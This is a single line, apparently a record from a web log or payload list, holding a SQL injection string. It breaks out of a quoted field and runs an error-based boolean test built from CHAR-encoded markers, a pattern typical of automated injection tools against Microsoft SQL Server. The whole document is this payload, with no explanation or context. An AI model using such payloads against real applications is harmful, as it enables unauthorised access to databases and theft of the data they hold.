4   0 TtZd' AND 5637 IN (SELECT (CHAR(113)+CHAR(98)+CHAR(122)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (5637=5637) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(107)+CHAR(113)+CHAR(113))) AND 'mhfF'='mhfF